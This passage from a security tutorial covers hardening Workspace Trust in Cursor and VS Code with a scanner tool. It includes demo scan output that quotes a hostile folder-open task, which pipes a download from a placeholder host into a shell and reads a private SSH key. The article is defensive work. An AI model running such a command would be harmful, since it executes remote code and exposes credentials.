  • HIGH, folderOpen task: the setup task pipes a download into a shell, and its dependency reads a private SSH key. Total score 13. Never open this repo in a trusted window.
  • MEDIUM, folderOpen task: a plain npm run watch. Probably fine, but a human should confirm that the script it calls is yours.
  • MEDIUM, devcontainer command: initializeCommand runs on your host, which is why a script reference there ranks above the same script inside the container.
  • MEDIUM, trust override and workspace executable: the repo tries to loosen automatic tasks and points a PHP validator at a binary it ships. Both deserve a review.
  • LOW, MCP process: a filesystem MCP server launched through npx. Normal for an MCP project, but note that it downloads and runs a package.

The JSON mode returns the same data for dashboards. Each record carries severity, kind, path, detail and the numeric score.

[
  {
    "severity": "HIGH",
    "kind": "folderOpen task",
    "path": "~/trustaudit/demo/sketchy-repo/.vscode/tasks.json",
    "detail": "task 'setup' runs on folder open: curl -s https://example.invalid/i.sh | sh cat ~/.ssh/id_rsa [pipes a download into a shell, network fetch, touches credentials, runs a script file]",
    "score": 13
  },
  {
    "severity": "MEDIUM",
    "kind": "folderOpen task",
    "path": "~/trustaudit/demo/benign-app/.vscode/tasks.json",
    "detail": "task 'watch' runs on folder open: npm run watch",
    "score": 0
  ...

Across the whole demo, the tool scanned five config files and returned seven findings. Your own machine will produce a different count, and an empty report is a perfectly good result.

Trade-Offs: Restricted Mode vs Cursor’s Agent

Any honest Cursor vs VSCode comparison has to admit that hardening is not free in Cursor, and pretending otherwise would waste your time. Restricted Mode blocks tasks, limits terminals and turns off some extension features. An AI editor leans on all three. If Cursor reportedly kept trust off to protect those features, then turning it on will make some of them ask first or stop working until you trust a folder.

You have three workable policies, and each fits a different habit:

  • Trust by exception. Keep trust on, choose “Trust” only for repos you wrote or reviewed, and let everything else open in Restricted Mode. This is the safest and the one the tool’s hardened block assumes.
  • Trust a work folder. Put your own repos under one parent, trust that parent once, and clone unknown code somewhere else. It cuts the dialogs to near zero but carries a risk: anything you later move into that parent inherits the trust.
  • Trust off, scan first. Leave trust disabled in Cursor, set task.allowAutomaticTasks to "off", and run trustaudit scan on every new clone before you open it. This keeps agent features smooth and moves the defense into your workflow.

A related hazard sits in command-line flags. Cursor changed workspace trust behavior and its --trust flag in July 2026, and the interactive flag now lets a workspace be trusted up front and skips the dialog, according to a 2026 tool comparison from context.dev. That is convenient in a throwaway container. It is a bad idea in a shell alias, because an alias applies the flag to every folder you ever open.

Agent safety layers do not replace trust either. In July 2025 coverage by The Register, application security analysts Mustafa Naamneh and Micah Gold said: “Cursor’s denylist cannot be relied upon.” They were describing agent command filtering in auto-run mode, a different layer from Workspace Trust, and that research is more than a year old. The lesson still carries over. A filter that sits inside the editor cannot protect you from code the editor runs before any agent speaks. Isolation, such as the workspace sandboxes in Cursor’s shadow workspace setup, complements trust and does not replace it.

Common Pitfalls

These six mistakes account for most of the “I hardened it and it still ran” reports.

  1. Hardening the default profile while another profile is active. Profiles carry their own settings.json. The settings command lists every profile file, so read all of them and run harden --settings-file against each one that matters.
  2. Clicking “Trust parent folder”. That single click trusts every sibling repo too, including ones you clone next month. Trust the specific folder, or use a dedicated work parent on purpose.
  3. Forgetting that trust is remembered. A folder you trusted last year stays trusted. Run Workspace Trust: Manage Workspace Trust from the Command Palette to review and remove old entries before you run the canary.
  4. Setting task.allowAutomaticTasks to "on" in your user settings. Someone suggests it to silence a nagging prompt. It also silences the one prompt that protects you. Leave it at "off" or "auto".
  5. Assuming a dev container is safe because it is a container. The initializeCommand hook runs on the host. Review it as host code.
  6. Rewriting settings with a JSON library. You lose every comment and, on some tools, key order. The patcher in Step 9 exists to avoid that.

Troubleshooting

Ten problems come up often enough to list. Find your symptom in the left column.

SymptomLikely causeFix
UNPARSABLE next to a settings pathA real syntax error, such as a missing comma between keysOpen the file with Preferences: Open User Settings (JSON). The editor underlines the error. Fix it and re-run.
settings says clean, but the editor behaves differentlyA different profile is active, or the settings live in a Snap or Flatpak pathCheck the profile name in the editor’s Settings gear menu, and read the file path from the JSON tab title.
python3 not found on WindowsWindows installs the launcher as pyRun py -3 trustaudit.py settings.
Canary ran in Cursor after you enabled trustThe canary folder is already in the trusted listRun Workspace Trust: Manage Workspace Trust, remove the folder, restart, and try again from a new path.
Canary did not run in either editorThe editor showed an “allow automatic tasks” prompt and you declined, or the shell command failedRun Tasks: Run Task and pick the canary manually to confirm the command works. Then allow it once to validate the test.
Canary did not run in VS Code but did in CursorExpected behavior if Cursor has trust offRecord both results. This is the finding the tutorial is built to produce.
PermissionError during harden --applySettings file is read-only or managed by an admin policyCheck file permissions, or ask IT whether the setting is enforced centrally.
CI job fails on a benign taskExit code 1 (any finding) treated as failureGate on exit code 2 only, as the workflow in Step 13 does.
Cursor agent features stopped after hardeningRestricted Mode blocks tasks and terminals in an untrusted folderTrust the specific folder once you have reviewed it, or choose the trust-by-exception policy.
Scanner misses a nested repoDepth limit of four levels, or the folder name sits in the prune listRaise --max-depth or scan the repo path directly.

Advanced Tips

  • Allowlist known-good tasks. Add a small JSON file of approved (path, label) pairs and skip them in scan_tasks. That silences your team’s watcher tasks while the alarm stays loud for new ones.
  • Hash your tasks file. Store a SHA-256 of each reviewed tasks.json and flag any change. Attackers rarely rewrite a task file in place once it is merged, but a malicious pull request does exactly that.
  • Scan before you open. Add a shell function that runs trustaudit.py scan on a fresh clone and prints the result, so the first thing you see after git clone is the verdict.
  • Pair trust with sandboxed agents. If you run the VS Code agent features, the Copilot agent sandbox setup limits what an agent session can touch.
  • Measure the cost. If you worry that Restricted Mode slows you down, time a real session with the numbers from our codebase benchmark of both editors before you decide.
  • Extend the scoring. Add patterns for the tools your team actually uses, such as docker run --privileged or kubectl apply. The RISKY list is just data.
  • Export for audits. The JSON mode feeds a spreadsheet or a SIEM. Run it weekly from a scheduled job and keep the history for compliance reviews.

What We Verified and What We Could Not

Security tutorials earn trust by naming their limits. Here is where the evidence stands as of October 28, 2026.

  • Tested locally: the tool itself. We ran all four commands and the five unit tests on Python 3.12.3 against sample repos and fake settings folders. The output blocks above are real runs with paths shortened.
  • Not tested here: the editors. We did not open the canary in a live Cursor or VS Code window for this article, so we publish no canary result. Your machine will give you one in ten minutes.
  • Cursor’s default: the Cursor security guides we reviewed describe Workspace Trust as off by default, and we found no documented change. We label it reported, not proven.
  • VS Code defaults: only security.workspace.trust.enabled defaulting to true was confirmed on a fetched documentation page. The other defaults in the tool are the standard documented values, so verify them in your Settings UI.
  • Recent changes: we found no confirmed change to Workspace Trust or folder-open task behavior in either editor between July and October 2026. VS Code’s October 15 modern UI post describes a redesigned interface that is on by default for the Stable rollout, with the classic UI still reachable through workbench.experimental.modernUI. That is a visual change, not a trust change.
  • Pricing noise: Cursor’s plans are reportedly in transition, with community reports of a new subscription that launched around October 12. Nothing we found connects that to the trust model, so this tutorial ignores prices.

For more hands-on editor guides, browse the Software category.

Frequently Asked Questions

Cursor vs VSCode: which is safer for opening unknown repos?

Out of the box, VS Code is the safer choice because Workspace Trust is on and Restricted Mode blocks automatic tasks in untrusted folders. A hardened Cursor closes most of that gap, and the canary test tells you whether yours has. The Cursor vs VSCode difference is a default, not a hard limit.

Is Workspace Trust on by default in VS Code?

Yes. VS Code documents security.workspace.trust.enabled as true by default, and Restricted Mode applies when you decline to trust a folder.

Does Cursor run folder-open tasks without asking?

It has been reported to, because the Cursor security guides we reviewed describe Workspace Trust as off by default. We found no confirmed change to this behavior in the sources we reviewed. Run the canary from Step 12 to learn what your build does.

Which setting name controls trust in Cursor?

The same one as VS Code: security.workspace.trust.enabled. Set it to true in Cursor’s user settings and restart the editor.

Will enabling Workspace Trust break Cursor’s AI features?

Some features may ask for permission or stay limited in an untrusted folder, because Restricted Mode blocks tasks and restricts terminals. Trust a folder after you review it and the restrictions lift for that folder.

Is the canary test safe to run?

Yes. The only command it contains is a single echo that writes one word into one file inside the canary folder. Read .vscode/tasks.json yourself before you open it, which is a good habit with any repo.

Does this protect me from malicious extensions or MCP servers?

Partly. The scanner flags MCP launchers and workspace executable paths in the repo. It does not vet marketplace extensions or the packages an MCP server downloads, so review those separately.

How often should I rerun the scan?

Run it on every new clone and in CI for changes under .vscode, .cursor and .devcontainer. Rerun the settings audit after any editor reinstall, profile import or settings sync, since those can overwrite your hardened values.

Sofia Lindström

Sofia Lindström

Editor-in-Chief

Sofia Lindström is the Editor-in-Chief at Tech Insider, where she leads editorial strategy and oversees coverage across AI, cybersecurity, and enterprise technology. With over a decade in Swedish tech journalism, she previously served as technology editor at Dagens Industri and covered the Nordic startup ecosystem for Breakit. Sofia holds an MSc in Media Technology from KTH Royal Institute of Technology and is a frequent speaker at Web Summit and Slush. She is passionate about making complex technology accessible to business leaders.

View all articles